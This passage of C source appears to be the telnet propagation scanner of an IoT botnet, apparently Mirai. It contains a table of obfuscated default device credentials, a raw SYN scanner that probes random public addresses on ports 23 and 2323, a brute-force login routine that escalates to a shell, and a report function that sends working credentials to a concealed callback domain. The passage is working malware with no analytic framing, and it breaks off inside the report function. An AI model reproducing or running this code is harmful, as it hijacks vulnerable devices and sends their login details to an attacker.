add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666
|
||||
add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888
|
||||
add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx.
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek
|
||||
add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass
|
||||
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm
|
||||
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
|
||||
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker
|
||||
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] Scanner process initialized. Scanning started.\n");
|
||||
#endif
|
||||
|
||||
// Main logic loop
|
||||
while (TRUE)
|
||||
{
|
||||
fd_set fdset_rd, fdset_wr;
|
||||
struct scanner_connection *conn;
|
||||
struct timeval tim;
|
||||
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
|
||||
|
||||
// Spew out SYN to try and get a response
|
||||
if (fake_time != last_spew)
|
||||
{
|
||||
last_spew = fake_time;
|
||||
|
||||
for (i = 0; i < SCANNER_RAW_PPS; i++)
|
||||
{
|
||||
struct sockaddr_in paddr = {0};
|
||||
struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
|
||||
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
|
||||
|
||||
iph->id = rand_next();
|
||||
iph->saddr = LOCAL_ADDR;
|
||||
iph->daddr = get_random_ip();
|
||||
iph->check = 0;
|
||||
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
|
||||
|
||||
if (i % 10 == 0)
|
||||
{
|
||||
tcph->dest = htons(2323);
|
||||
}
|
||||
else
|
||||
{
|
||||
tcph->dest = htons(23);
|
||||
}
|
||||
tcph->seq = iph->daddr;
|
||||
tcph->check = 0;
|
||||
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
|
||||
|
||||
paddr.sin_family = AF_INET;
|
||||
paddr.sin_addr.s_addr = iph->daddr;
|
||||
paddr.sin_port = tcph->dest;
|
||||
|
||||
sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
|
||||
}
|
||||
}
|
||||
|
||||
// Read packets from raw socket to get SYN+ACKs
|
||||
last_avail_conn = 0;
|
||||
while (TRUE)
|
||||
{
|
||||
int n;
|
||||
char dgram[1514];
|
||||
struct iphdr *iph = (struct iphdr *)dgram;
|
||||
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
|
||||
struct scanner_connection *conn;
|
||||
|
||||
errno = 0;
|
||||
n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
|
||||
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
|
||||
break;
|
||||
|
||||
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
|
||||
continue;
|
||||
if (iph->daddr != LOCAL_ADDR)
|
||||
continue;
|
||||
if (iph->protocol != IPPROTO_TCP)
|
||||
continue;
|
||||
if (tcph->source != htons(23) && tcph->source != htons(2323))
|
||||
continue;
|
||||
if (tcph->dest != source_port)
|
||||
continue;
|
||||
if (!tcph->syn)
|
||||
continue;
|
||||
if (!tcph->ack)
|
||||
continue;
|
||||
if (tcph->rst)
|
||||
continue;
|
||||
if (tcph->fin)
|
||||
continue;
|
||||
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
|
||||
continue;
|
||||
|
||||
conn = NULL;
|
||||
for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
|
||||
{
|
||||
if (conn_table[n].state == SC_CLOSED)
|
||||
{
|
||||
conn = &conn_table[n];
|
||||
last_avail_conn = n;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// If there were no slots, then no point reading any more
|
||||
if (conn == NULL)
|
||||
break;
|
||||
|
||||
conn->dst_addr = iph->saddr;
|
||||
conn->dst_port = tcph->source;
|
||||
setup_connection(conn);
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff);
|
||||
#endif
|
||||
}
|
||||
|
||||
// Load file descriptors into fdsets
|
||||
FD_ZERO(&fdset_rd);
|
||||
FD_ZERO(&fdset_wr);
|
||||
for (i = 0; i < SCANNER_MAX_CONNS; i++)
|
||||
{
|
||||
int timeout;
|
||||
|
||||
conn = &conn_table[i];
|
||||
timeout = (conn->state > SC_CONNECTING ? 30 : 5);
|
||||
|
||||
if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
|
||||
#endif
|
||||
close(conn->fd);
|
||||
conn->fd = -1;
|
||||
|
||||
// Retry
|
||||
if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
|
||||
{
|
||||
if (++(conn->tries) == 10)
|
||||
{
|
||||
conn->tries = 0;
|
||||
conn->state = SC_CLOSED;
|
||||
}
|
||||
else
|
||||
{
|
||||
setup_connection(conn);
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
conn->tries = 0;
|
||||
conn->state = SC_CLOSED;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (conn->state == SC_CONNECTING)
|
||||
{
|
||||
FD_SET(conn->fd, &fdset_wr);
|
||||
if (conn->fd > mfd_wr)
|
||||
mfd_wr = conn->fd;
|
||||
}
|
||||
else if (conn->state != SC_CLOSED)
|
||||
{
|
||||
FD_SET(conn->fd, &fdset_rd);
|
||||
if (conn->fd > mfd_rd)
|
||||
mfd_rd = conn->fd;
|
||||
}
|
||||
}
|
||||
|
||||
tim.tv_usec = 0;
|
||||
tim.tv_sec = 1;
|
||||
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
|
||||
fake_time = time(NULL);
|
||||
|
||||
for (i = 0; i < SCANNER_MAX_CONNS; i++)
|
||||
{
|
||||
conn = &conn_table[i];
|
||||
|
||||
if (conn->fd == -1)
|
||||
continue;
|
||||
|
||||
if (FD_ISSET(conn->fd, &fdset_wr))
|
||||
{
|
||||
int err = 0, ret = 0;
|
||||
socklen_t err_len = sizeof (err);
|
||||
|
||||
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
|
||||
if (err == 0 && ret == 0)
|
||||
{
|
||||
conn->state = SC_HANDLE_IACS;
|
||||
conn->auth = random_auth_entry();
|
||||
conn->rdbuf_pos = 0;
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
|
||||
#endif
|
||||
close(conn->fd);
|
||||
conn->fd = -1;
|
||||
conn->tries = 0;
|
||||
conn->state = SC_CLOSED;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
if (FD_ISSET(conn->fd, &fdset_rd))
|
||||
{
|
||||
while (TRUE)
|
||||
{
|
||||
int ret;
|
||||
|
||||
if (conn->state == SC_CLOSED)
|
||||
break;
|
||||
|
||||
if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
|
||||
{
|
||||
memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
|
||||
conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
|
||||
}
|
||||
errno = 0;
|
||||
ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
|
||||
if (ret == 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
|
||||
#endif
|
||||
errno = ECONNRESET;
|
||||
ret = -1; // Fall through to closing connection below
|
||||
}
|
||||
if (ret == -1)
|
||||
{
|
||||
if (errno != EAGAIN && errno != EWOULDBLOCK)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d lost connection\n", conn->fd);
|
||||
#endif
|
||||
close(conn->fd);
|
||||
conn->fd = -1;
|
||||
|
||||
// Retry
|
||||
if (++(conn->tries) >= 10)
|
||||
{
|
||||
conn->tries = 0;
|
||||
conn->state = SC_CLOSED;
|
||||
}
|
||||
else
|
||||
{
|
||||
setup_connection(conn);
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
conn->rdbuf_pos += ret;
|
||||
conn->last_recv = fake_time;
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
int consumed = 0;
|
||||
|
||||
switch (conn->state)
|
||||
{
|
||||
case SC_HANDLE_IACS:
|
||||
if ((consumed = consume_iacs(conn)) > 0)
|
||||
{
|
||||
conn->state = SC_WAITING_USERNAME;
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d finished telnet negotiation\n", conn->fd);
|
||||
#endif
|
||||
}
|
||||
break;
|
||||
case SC_WAITING_USERNAME:
|
||||
if ((consumed = consume_user_prompt(conn)) > 0)
|
||||
{
|
||||
send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL);
|
||||
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
|
||||
conn->state = SC_WAITING_PASSWORD;
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d received username prompt\n", conn->fd);
|
||||
#endif
|
||||
}
|
||||
break;
|
||||
case SC_WAITING_PASSWORD:
|
||||
if ((consumed = consume_pass_prompt(conn)) > 0)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d received password prompt\n", conn->fd);
|
||||
#endif
|
||||
|
||||
// Send password
|
||||
send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL);
|
||||
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
|
||||
|
||||
conn->state = SC_WAITING_PASSWD_RESP;
|
||||
}
|
||||
break;
|
||||
case SC_WAITING_PASSWD_RESP:
|
||||
if ((consumed = consume_any_prompt(conn)) > 0)
|
||||
{
|
||||
char *tmp_str;
|
||||
int tmp_len;
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d received shell prompt\n", conn->fd);
|
||||
#endif
|
||||
|
||||
// Send enable / system / shell / sh to session to drop into shell if needed
|
||||
table_unlock_val(TABLE_SCAN_ENABLE);
|
||||
tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len);
|
||||
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
|
||||
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
|
||||
table_lock_val(TABLE_SCAN_ENABLE);
|
||||
conn->state = SC_WAITING_ENABLE_RESP;
|
||||
}
|
||||
break;
|
||||
case SC_WAITING_ENABLE_RESP:
|
||||
if ((consumed = consume_any_prompt(conn)) > 0)
|
||||
{
|
||||
char *tmp_str;
|
||||
int tmp_len;
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d received sh prompt\n", conn->fd);
|
||||
#endif
|
||||
|
||||
table_unlock_val(TABLE_SCAN_SYSTEM);
|
||||
tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len);
|
||||
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
|
||||
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
|
||||
table_lock_val(TABLE_SCAN_SYSTEM);
|
||||
|
||||
conn->state = SC_WAITING_SYSTEM_RESP;
|
||||
}
|
||||
break;
|
||||
case SC_WAITING_SYSTEM_RESP:
|
||||
if ((consumed = consume_any_prompt(conn)) > 0)
|
||||
{
|
||||
char *tmp_str;
|
||||
int tmp_len;
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d received sh prompt\n", conn->fd);
|
||||
#endif
|
||||
|
||||
table_unlock_val(TABLE_SCAN_SHELL);
|
||||
tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len);
|
||||
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
|
||||
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
|
||||
table_lock_val(TABLE_SCAN_SHELL);
|
||||
|
||||
conn->state = SC_WAITING_SHELL_RESP;
|
||||
}
|
||||
break;
|
||||
case SC_WAITING_SHELL_RESP:
|
||||
if ((consumed = consume_any_prompt(conn)) > 0)
|
||||
{
|
||||
char *tmp_str;
|
||||
int tmp_len;
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d received enable prompt\n", conn->fd);
|
||||
#endif
|
||||
|
||||
table_unlock_val(TABLE_SCAN_SH);
|
||||
tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len);
|
||||
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
|
||||
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
|
||||
table_lock_val(TABLE_SCAN_SH);
|
||||
|
||||
conn->state = SC_WAITING_SH_RESP;
|
||||
}
|
||||
break;
|
||||
case SC_WAITING_SH_RESP:
|
||||
if ((consumed = consume_any_prompt(conn)) > 0)
|
||||
{
|
||||
char *tmp_str;
|
||||
int tmp_len;
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d received sh prompt\n", conn->fd);
|
||||
#endif
|
||||
|
||||
// Send query string
|
||||
table_unlock_val(TABLE_SCAN_QUERY);
|
||||
tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len);
|
||||
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
|
||||
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
|
||||
table_lock_val(TABLE_SCAN_QUERY);
|
||||
|
||||
conn->state = SC_WAITING_TOKEN_RESP;
|
||||
}
|
||||
break;
|
||||
case SC_WAITING_TOKEN_RESP:
|
||||
consumed = consume_resp_prompt(conn);
|
||||
if (consumed == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d invalid username/password combo\n", conn->fd);
|
||||
#endif
|
||||
close(conn->fd);
|
||||
conn->fd = -1;
|
||||
|
||||
// Retry
|
||||
if (++(conn->tries) == 10)
|
||||
{
|
||||
conn->tries = 0;
|
||||
conn->state = SC_CLOSED;
|
||||
}
|
||||
else
|
||||
{
|
||||
setup_connection(conn);
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else if (consumed > 0)
|
||||
{
|
||||
char *tmp_str;
|
||||
int tmp_len;
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] FD%d Found verified working telnet\n", conn->fd);
|
||||
#endif
|
||||
report_working(conn->dst_addr, conn->dst_port, conn->auth);
|
||||
close(conn->fd);
|
||||
conn->fd = -1;
|
||||
conn->state = SC_CLOSED;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
consumed = 0;
|
||||
break;
|
||||
}
|
||||
|
||||
// If no data was consumed, move on
|
||||
if (consumed == 0)
|
||||
break;
|
||||
else
|
||||
{
|
||||
if (consumed > conn->rdbuf_pos)
|
||||
consumed = conn->rdbuf_pos;
|
||||
|
||||
conn->rdbuf_pos -= consumed;
|
||||
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void scanner_kill(void)
|
||||
{
|
||||
kill(scanner_pid, 9);
|
||||
}
|
||||
|
||||
static void setup_connection(struct scanner_connection *conn)
|
||||
{
|
||||
struct sockaddr_in addr = {0};
|
||||
|
||||
if (conn->fd != -1)
|
||||
close(conn->fd);
|
||||
if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[scanner] Failed to call socket()\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
|
||||
conn->rdbuf_pos = 0;
|
||||
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
|
||||
|
||||
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = conn->dst_addr;
|
||||
addr.sin_port = conn->dst_port;
|
||||
|
||||
conn->last_recv = fake_time;
|
||||
conn->state = SC_CONNECTING;
|
||||
connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
|
||||
}
|
||||
|
||||
static ipv4_t get_random_ip(void)
|
||||
{
|
||||
uint32_t tmp;
|
||||
uint8_t o1, o2, o3, o4;
|
||||
|
||||
do
|
||||
{
|
||||
tmp = rand_next();
|
||||
|
||||
o1 = tmp & 0xff;
|
||||
o2 = (tmp >> 8) & 0xff;
|
||||
o3 = (tmp >> 16) & 0xff;
|
||||
o4 = (tmp >> 24) & 0xff;
|
||||
}
|
||||
while (o1 == 127 || // 127.0.0.0/8 - Loopback
|
||||
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
|
||||
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
|
||||
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
|
||||
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
|
||||
(o1 == 10) || // 10.0.0.0/8 - Internal network
|
||||
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
|
||||
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
|
||||
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
|
||||
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
|
||||
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
|
||||
(o1 >= 224) || // 224.*.*.*+ - Multicast
|
||||
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
|
||||
);
|
||||
|
||||
return INET_ADDR(o1,o2,o3,o4);
|
||||
}
|
||||
|
||||
static int consume_iacs(struct scanner_connection *conn)
|
||||
{
|
||||
int consumed = 0;
|
||||
uint8_t *ptr = conn->rdbuf;
|
||||
|
||||
while (consumed < conn->rdbuf_pos)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (*ptr != 0xff)
|
||||
break;
|
||||
else if (*ptr == 0xff)
|
||||
{
|
||||
if (!can_consume(conn, ptr, 1))
|
||||
break;
|
||||
if (ptr[1] == 0xff)
|
||||
{
|
||||
ptr += 2;
|
||||
consumed += 2;
|
||||
continue;
|
||||
}
|
||||
else if (ptr[1] == 0xfd)
|
||||
{
|
||||
uint8_t tmp1[3] = {255, 251, 31};
|
||||
uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
|
||||
|
||||
if (!can_consume(conn, ptr, 2))
|
||||
break;
|
||||
if (ptr[2] != 31)
|
||||
goto iac_wont;
|
||||
|
||||
ptr += 3;
|
||||
consumed += 3;
|
||||
|
||||
send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
|
||||
send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
|
||||
}
|
||||
else
|
||||
{
|
||||
iac_wont:
|
||||
|
||||
if (!can_consume(conn, ptr, 2))
|
||||
break;
|
||||
|
||||
for (i = 0; i < 3; i++)
|
||||
{
|
||||
if (ptr[i] == 0xfd)
|
||||
ptr[i] = 0xfc;
|
||||
else if (ptr[i] == 0xfb)
|
||||
ptr[i] = 0xfd;
|
||||
}
|
||||
|
||||
send(conn->fd, ptr, 3, MSG_NOSIGNAL);
|
||||
ptr += 3;
|
||||
consumed += 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
static int consume_any_prompt(struct scanner_connection *conn)
|
||||
{
|
||||
char *pch;
|
||||
int i, prompt_ending = -1;
|
||||
|
||||
for (i = conn->rdbuf_pos - 1; i > 0; i--)
|
||||
{
|
||||
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
|
||||
{
|
||||
prompt_ending = i + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
static int consume_user_prompt(struct scanner_connection *conn)
|
||||
{
|
||||
char *pch;
|
||||
int i, prompt_ending = -1;
|
||||
|
||||
for (i = conn->rdbuf_pos - 1; i > 0; i--)
|
||||
{
|
||||
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
|
||||
{
|
||||
prompt_ending = i + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
{
|
||||
int tmp;
|
||||
|
||||
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
|
||||
prompt_ending = tmp;
|
||||
else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
|
||||
prompt_ending = tmp;
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
static int consume_pass_prompt(struct scanner_connection *conn)
|
||||
{
|
||||
char *pch;
|
||||
int i, prompt_ending = -1;
|
||||
|
||||
for (i = conn->rdbuf_pos - 1; i > 0; i--)
|
||||
{
|
||||
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#')
|
||||
{
|
||||
prompt_ending = i + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
{
|
||||
int tmp;
|
||||
|
||||
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)
|
||||
prompt_ending = tmp;
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
static int consume_resp_prompt(struct scanner_connection *conn)
|
||||
{
|
||||
char *tkn_resp;
|
||||
int prompt_ending, len;
|
||||
|
||||
table_unlock_val(TABLE_SCAN_NCORRECT);
|
||||
tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len);
|
||||
if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1)
|
||||
{
|
||||
table_lock_val(TABLE_SCAN_NCORRECT);
|
||||
return -1;
|
||||
}
|
||||
table_lock_val(TABLE_SCAN_NCORRECT);
|
||||
|
||||
table_unlock_val(TABLE_SCAN_RESP);
|
||||
tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len);
|
||||
prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1);
|
||||
table_lock_val(TABLE_SCAN_RESP);
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)
|
||||
{
|
||||
int tmp;
|
||||
|
||||
auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth));
|
||||
auth_table[auth_table_len].username = deobf(enc_user, &tmp);
|
||||
auth_table[auth_table_len].username_len = (uint8_t)tmp;
|
||||
auth_table[auth_table_len].password = deobf(enc_pass, &tmp);
|
||||
auth_table[auth_table_len].password_len = (uint8_t)tmp;
|
||||
auth_table[auth_table_len].weight_min = auth_table_max_weight;
|
||||
auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;
|
||||
auth_table_max_weight += weight;
|
||||
}
|
||||
|
||||
static struct scanner_auth *random_auth_entry(void)
|
||||
{
|
||||
int i;
|
||||
uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight);
|
||||
|
||||
for (i = 0; i < auth_table_len; i++)
|
||||
{
|
||||
if (r < auth_table[i].weight_min)
|
||||
continue;
|
||||
else if (r < auth_table[i].weight_max)
|
||||
return &auth_table[i];
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth)
|
||||
{
|
||||
struct sockaddr_in addr;
|
||||
int pid = fork(), fd;
|
||||
struct resolv_entries *entries = NULL;
|
||||
|
||||
if (pid > 0 || pid == -1)
|
||||
return;
|
||||
|
||||
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[report] Failed to call socket()\n");
|
||||
#endif
|
||||
exit(0);
|
||||
}
|
||||
|
||||
table_unlock_val(TABLE_SCAN_CB_DOMAIN);
|
||||
table_unlock_val(TABLE_SCAN_CB_PORT);
|
||||
|
||||
entries = resolv_lookup(table_retrieve_val(TABLE_SCAN_CB_DOMAIN, NULL));
|
||||
if (entries == NULL)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[report] Failed to resolve report address\n");
|
||||
#endif
|
||||
return;
|
||||
}
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
|
||||
addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL));
|
||||
resolv_entries_free(entries);
|
||||
|
||||
table_lock_val(TABLE_SCAN_CB_DOMAIN);
|
||||
table_lock_val(TABLE_SCAN_CB_PORT);
|
||||
|
||||
if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[report] Failed to connect to scanner callback!\n");
|
||||
#endif
|
||||
close(fd);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
uint8_t zero = 0;
|
||||
